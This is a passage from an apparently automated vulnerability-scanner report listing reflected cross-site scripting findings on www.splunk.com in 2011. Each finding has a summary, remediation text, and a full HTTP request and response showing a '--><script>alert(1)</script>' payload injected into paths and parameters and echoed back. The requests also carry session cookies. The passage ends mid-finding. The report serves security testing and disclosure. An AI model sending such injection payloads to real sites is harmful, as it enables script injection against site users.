GET /cave/narc.phpbfe11--><script>alert(1)</script>c54ef0afa5d?u=/download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw&r=http://pagead2.googlesyndication.com/pagead/imgad?id=CK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg&a=Adwords_Unix&cid= HTTP/1.1
Host: www.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=173.193.214.243.1296942538894423; XARAYASID=1mtgfd73mkm07svvqv720eu567; Enabled=true

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 21:50:37 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:20:37 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:20:37 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19162

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>c54ef0afa5d?u=/download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw&r=http://pagead2.googlesyndication.com/pagead/imgad?id=CK6sofbu_LPoWxDYBRhaMgh0G
...[SNIP]...

4.389. http://www.splunk.com/company [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/company

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 4885f--><script>alert(1)</script>a3f95461609 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /company4885f--><script>alert(1)</script>a3f95461609 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:20:06 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:50:06 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:50:06 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18299

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>a3f95461609 -->
...[SNIP]...

4.390. http://www.splunk.com/company [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/company

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 4ebc4--><script>alert(1)</script>454624173e1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /company?4ebc4--><script>alert(1)</script>454624173e1=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:19:31 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 27416

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>454624173e1=1 -->
...[SNIP]...

4.391. http://www.splunk.com/download [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/download

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 68953--><script>alert(1)</script>eaea7d25138 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /download68953--><script>alert(1)</script>eaea7d25138?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw HTTP/1.1
Host: www.splunk.com
Proxy-Connection: keep-alive
Referer: http://pagead2.googlesyndication.com/pagead/imgad?id=CK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:40 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
Set-Cookie: Apache=173.193.214.243.1296942820034083; path=/; expires=Sun, 01-Feb-26 21:53:40 GMT; domain=.splunk.com
X-Powered-By: PHP/5.2.6
Set-Cookie: XARAYASID=3a319rnl0tco9ulf4m0qimb6h2; expires=Wed, 06 Feb 2036 03:53:40 GMT; path=/; domain=.splunk.com
Expires: 0
Cache-Control: public, must-revalidate
Pragma:
ETag: fa0ae76f03cacc5410d4376499636d0a1296942820-gzip
Last-Modified: Sat, 05 Feb 2011 21:53:40 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 38702

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>eaea7d25138?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw -->
...[SNIP]...

4.392. http://www.splunk.com/download [_kk parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/download

Issue detail

The value of the _kk request parameter is copied into an HTML comment. The payload b7e09--><script>alert(1)</script>f6db6cda9de was submitted in the _kk parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /download?ac=Adwords_Unix&_kk=unix%20serverb7e09--><script>alert(1)</script>f6db6cda9de&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw HTTP/1.1
Host: www.splunk.com
Proxy-Connection: keep-alive
Referer: http://pagead2.googlesyndication.com/pagead/imgad?id=CK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:50:48 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
Set-Cookie: Apache=173.193.214.243.1296942648929842; path=/; expires=Sun, 01-Feb-26 21:50:48 GMT; domain=.splunk.com
X-Powered-By: PHP/5.2.6
Set-Cookie: XARAYASID=nkfome3nl2or6dtmc9q8qsl6r2; expires=Wed, 06 Feb 2036 03:50:48 GMT; path=/; domain=.splunk.com
Expires: 0
Cache-Control: public, must-revalidate
Pragma:
ETag: 9a56d8cb84edaafcf8055d47e9eb94521296942650-gzip
Last-Modified: Sat, 05 Feb 2011 21:50:50 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 38648

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>f6db6cda9de&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw -->
...[SNIP]...

4.393. http://www.splunk.com/download [_kt parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/download

Issue detail

The value of the _kt request parameter is copied into an HTML comment. The payload 6fcda--><script>alert(1)</script>6096be335ae was submitted in the _kt parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c516fcda--><script>alert(1)</script>6096be335ae&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw HTTP/1.1
Host: www.splunk.com
Proxy-Connection: keep-alive
Referer: http://pagead2.googlesyndication.com/pagead/imgad?id=CK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:51:31 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
Set-Cookie: Apache=173.193.214.243.1296942691468868; path=/; expires=Sun, 01-Feb-26 21:51:31 GMT; domain=.splunk.com
X-Powered-By: PHP/5.2.6
Set-Cookie: XARAYASID=u4k9ckr411itt87pj2tcbhnou1; expires=Wed, 06 Feb 2036 03:51:31 GMT; path=/; domain=.splunk.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 38648

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>6096be335ae&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw -->
...[SNIP]...

4.394. http://www.splunk.com/download [ac parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/download

Issue detail

The value of the ac request parameter is copied into an HTML comment. The payload 44448--><script>alert(1)</script>cc5249ec1a was submitted in the ac parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /download?ac=Adwords_Unix44448--><script>alert(1)</script>cc5249ec1a&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw HTTP/1.1
Host: www.splunk.com
Proxy-Connection: keep-alive
Referer: http://pagead2.googlesyndication.com/pagead/imgad?id=CK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:50:03 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
Set-Cookie: Apache=173.193.214.243.1296942603588169; path=/; expires=Sun, 01-Feb-26 21:50:03 GMT; domain=.splunk.com
X-Powered-By: PHP/5.2.6
Set-Cookie: XARAYASID=vbbvisrpt8pa5iqjqcdff0c925; expires=Wed, 06 Feb 2036 03:50:03 GMT; path=/; domain=.splunk.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 38633

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>cc5249ec1a&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw -->
...[SNIP]...

4.395. http://www.splunk.com/download [gclid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/download

Issue detail

The value of the gclid request parameter is copied into an HTML comment. The payload bb2a7--><script>alert(1)</script>43845f147ee was submitted in the gclid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHwbb2a7--><script>alert(1)</script>43845f147ee HTTP/1.1
Host: www.splunk.com
Proxy-Connection: keep-alive
Referer: http://pagead2.googlesyndication.com/pagead/imgad?id=CK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:52:17 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
Set-Cookie: Apache=173.193.214.243.1296942737962718; path=/; expires=Sun, 01-Feb-26 21:52:17 GMT; domain=.splunk.com
X-Powered-By: PHP/5.2.6
Set-Cookie: XARAYASID=ob9nprg1hkvn4taofnrtl788s2; expires=Wed, 06 Feb 2036 03:52:17 GMT; path=/; domain=.splunk.com
Expires: 0
Cache-Control: public, must-revalidate
Pragma:
ETag: 65f9d7481f951a03c71540cea59ed3ec1296942739-gzip
Last-Modified: Sat, 05 Feb 2011 21:52:19 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 38648

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>43845f147ee -->
...[SNIP]...

4.396. http://www.splunk.com/download [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/download

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 7e491--><script>alert(1)</script>225df8e69ea was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw&7e491--><script>alert(1)</script>225df8e69ea=1 HTTP/1.1
Host: www.splunk.com
Proxy-Connection: keep-alive
Referer: http://pagead2.googlesyndication.com/pagead/imgad?id=CK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:52:53 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
Set-Cookie: Apache=173.193.214.243.1296942773781714; path=/; expires=Sun, 01-Feb-26 21:52:53 GMT; domain=.splunk.com
X-Powered-By: PHP/5.2.6
Set-Cookie: XARAYASID=ghp3rvkgmrrbs8k3sn8mafrj02; expires=Wed, 06 Feb 2036 03:52:53 GMT; path=/; domain=.splunk.com
Expires: 0
Cache-Control: public, must-revalidate
Pragma:
ETag: 2bfb87afbf22849a1ad79c33f5a4caf41296942775-gzip
Last-Modified: Sat, 05 Feb 2011 21:52:55 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 38659

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>225df8e69ea=1 -->
...[SNIP]...

4.397. http://www.splunk.com/download [r parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/download

Issue detail

The value of the r request parameter is copied into an HTML comment. The payload 762e9--><script>alert(1)</script>2a2b1b2f445 was submitted in the r parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /download?r=header762e9--><script>alert(1)</script>2a2b1b2f445 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:11:21 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 621a81038483aa2a237c87a068e98c5e1296943882
Last-Modified: Sat, 05 Feb 2011 22:11:22 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 38247

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>2a2b1b2f445 -->
...[SNIP]...

4.398. http://www.splunk.com/goto/appbuilding [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/goto/appbuilding

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 8c513--><script>alert(1)</script>f33dab4a33e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /8c513--><script>alert(1)</script>f33dab4a33e/appbuilding HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; splunk_com_uid=1; Apache=173.193.214.243.1296947376244858; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; splunk_com_xt_uid=1; PHPSESSID=afumuefdbn5a7tsaitu6o38uq5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:15:21 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18319

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>f33dab4a33e/appbuilding -->
...[SNIP]...

4.399. http://www.splunk.com/goto/appofthemonth [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/goto/appofthemonth

Issue detail

